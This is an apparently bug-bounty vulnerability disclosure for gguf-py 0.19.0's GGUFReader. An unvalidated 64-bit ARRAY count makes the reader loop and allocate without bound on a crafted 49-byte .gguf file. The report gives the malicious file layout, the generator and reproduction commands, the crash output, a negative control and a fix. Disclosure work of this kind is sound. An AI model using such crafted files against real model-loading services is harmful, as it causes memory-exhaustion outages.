# Unvalidated ARRAY element count in gguf-py `GGUFReader` → unbounded allocation / non-terminating loop (memory-exhaustion DoS) **Target:** `gguf` (gguf-py, the `llama.cpp` Python GGUF library), PyPI package `gguf` **0.19.0** **Vulnerable file:** `gguf/gguf_reader.py` — `GGUFReader._get_field_parts()` (ARRAY branch) and `GGUFReader._get()` **Class:** CWE-770 (Allocation of Resources Without Limits or Throttling) / CWE-834 (Excessive Iteration) **Impact:** Denial of service (unbounded heap allocation → OOM / process kill; without a memory cap, host memory exhaustion and an effectively non-terminating loop) triggered at **file-open time**, before any tensor data is read. **Trigger:** Opening/parsing an untrusted `.gguf` file with `gguf.GGUFReader(path)`. Verified against real PyPI **gguf 0.19.0**, **numpy 2.5.1**, **CPython 3.13** (venv `/home/kali/hunt-workspace/gguf-3rdbug-venv`). --- ## Root cause When `GGUFReader` parses a metadata key/value whose value type is `ARRAY` (type id 9), it reads an attacker-controlled 64-bit element **count** and loops that many times, reading one element per iteration. The count is never validated against the number of bytes actually remaining in the file. `gguf/gguf_reader.py` (v0.19.0), the ARRAY branch of `_get_field_parts()`: ```python 221: def _get_field_parts( 222: self, orig_offs: int, raw_type: int, 223: ) -> tuple[int, list[npt.NDArray[Any]], list[int], list[GGUFValueType]]: ... 238: # Handle arrays. 239: if gtype == GGUFValueType.ARRAY: 240: raw_itype = self._get(offs, np.uint32) 241: offs += int(raw_itype.nbytes) 242: alen = self._get(offs, np.uint64) # <-- attacker-controlled 64-bit count 243: offs += int(alen.nbytes) 244: aparts: list[npt.NDArray[Any]] = [raw_itype, alen] 245: data_idxs: list[int] = [] 246: # FIXME: Handle multi-dimensional arrays properly instead of flattening 247: for idx in range(alen[0]): # <-- iterates count times, count never validated 248: curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0]) 249: if idx == 0: 250: types += curr_types ``` The per-element read goes through `_get()`: ```python 197: def _get( 198: self, offset: int, dtype: npt.DTypeLike, count: int = 1, override_order: ... = None, 199: ) -> npt.NDArray[Any]: 200: count = int(count) 201: itemsize = int(np.empty([], dtype = dtype).itemsize) 202: end_offs = offset + itemsize * count 203: arr = self.data[offset:end_offs].view(dtype=dtype)[:count] # empty slice past EOF -> nbytes == 0, NO exception 204: return arr.view(...) ``` The bug is the interaction of two facts: 1. **The count is unbounded and unvalidated.** `alen[0]` is a raw 64-bit value straight from the file (e.g. `9223372036854775807`). Nothing checks it against `len(self.data) - offs`. 2. **Reading past EOF does not raise — it returns an empty array.** `self.data` is an `np.memmap`; slicing past the end yields an empty (`nbytes == 0`) slice rather than an error. For a **scalar** element type the recursive `_get_field_parts()` call therefore returns `curr_size == 0`, so `offs += curr_size` (line ~272) advances by **zero**. Consequently, once the read offset reaches EOF the loop **makes no forward progress** yet still runs for all `alen[0]` iterations, and on **every** iteration it appends a fresh numpy array entry to the `aparts` list (`aparts += curr_parts`). The result is unbounded heap growth and an effectively infinite loop, entirely inside `GGUFReader.__init__` (`__init__ → _build_fields → _get_field_parts`), i.e. at file-open time before any tensor payload is touched. ## PoC `gen_arraylen.py` writes a **49-byte** GGUF v3 file: ``` 'GGUF' | version=3 | tensor_count=0 | kv_count=1 KV: key='x' | value_type=ARRAY(9) | array_element_type=INT8(1) | array_length= (no element bytes — the file ends right after the 8-byte count) ``` Reproduce: ```bash python gen_arraylen.py huge.gguf 9223372036854775807 python -c "import gguf; gguf.GGUFReader('huge.gguf')" # hangs, RSS climbs without bound ``` `moderate.gguf` uses a *finite* count of `20,000,000` in an identical 49-byte file and still OOMs — a 49-byte input driving multi-GB allocation (severe amplification), so the DoS does not depend on the count being astronomically large. ### Captured evidence (real execution, gguf 0.19.0 / numpy 2.5.1 / CPython 3.13) Run under a 2 GB virtual-memory cap (`ulimit -v 2000000`) so the run terminates instead of taking down the host: ``` calling gguf.GGUFReader('huge.gguf') on a 49-byte file... [t= 2.0s] maxRSS=601 MB (still inside GGUFReader, not returned) [t= 4.0s] maxRSS=1119 MB (still inside GGUFReader, not returned) Traceback (most recent call last): File "/home/kali/hunt-workspace/gguf-3rdbug/run_huge.py", line 10, in gguf.GGUFReader('huge.gguf') File ".../gguf/gguf_reader.py", line 169, in __init__ File ".../gguf/gguf_reader.py", line 298, in _build_fields File ".../gguf/gguf_reader.py", line 248, in _get_field_parts File ".../gguf/gguf_reader.py", line 236, in _get_field_parts File ".../gguf/gguf_reader.py", line 203, in _get object type name: MemoryError object repr : MemoryError() ``` RSS grew from ~0 to >1 GB in ~4 seconds while **still inside `GGUFReader.__init__`** (the constructor never returns), then the process was killed with `MemoryError` raised at `gguf_reader.py:248` (the array loop) → `:236` (scalar `_get_field_parts`) → `:203` (`_get`). Without a cap this exhausts all host memory and/or hangs indefinitely. ### Negative control (proves the crash is the unvalidated count, not merely opening an array) `good.gguf` — a well-formed INT8 array with `count=3` and **3 real element bytes**: ``` parsed OK in 0.0007s array contents=[1, 2, 3] ``` A correctly-truncated/valid array parses in ~1 ms and returns `[1, 2, 3]`. The fault is specifically the declared count exceeding the element bytes actually present, combined with the past-EOF read returning an empty (non-raising) slice — not the act of parsing an array. ## Suggested fix Before the loop, validate `alen[0]` against the bytes remaining (`len(self.data) - offs`) given the element type's itemsize, and/or bail out of the loop when a per-element read returns `nbytes == 0` (no forward progress) instead of silently continuing. ## Dedup note - Not a known CVE for gguf-py as of packaging (2026-07-16). - **Distinct from the gguf nested-array *recursion* bug** (separate finding `huntr-poc-gguf-nested-array-recursion`): that one requires element type == `ARRAY(9)` so `_get_field_parts()` self-recurses and raises `RecursionError` by exhausting the Python call stack. **This** bug uses a **scalar** element type (`INT8`) plus a huge/large count with **truncated/absent element bytes**, and fails via **unbounded heap growth / a non-terminating loop** (`MemoryError` / hang), not recursion depth. Different element type, different failure mode, different faulty line. - Distinct from the transformers GGUF O(N²) DoS (different code path; quadratic time, not unbounded allocation), the tensor-shape division-by-zero, and the vocab type-confusion findings. ## Files - `gen_arraylen.py` — builds the malicious 49-byte file (huge / moderate) - `huge.gguf` — count = 9223372036854775807 (2^63 − 1) - `moderate.gguf` — finite count = 20,000,000 (still OOMs) - `gen_good.py`, `good.gguf` — negative control (valid count=3 array with real bytes) - `run_huge.py` — RSS watcher + reader invocation used to capture the evidence above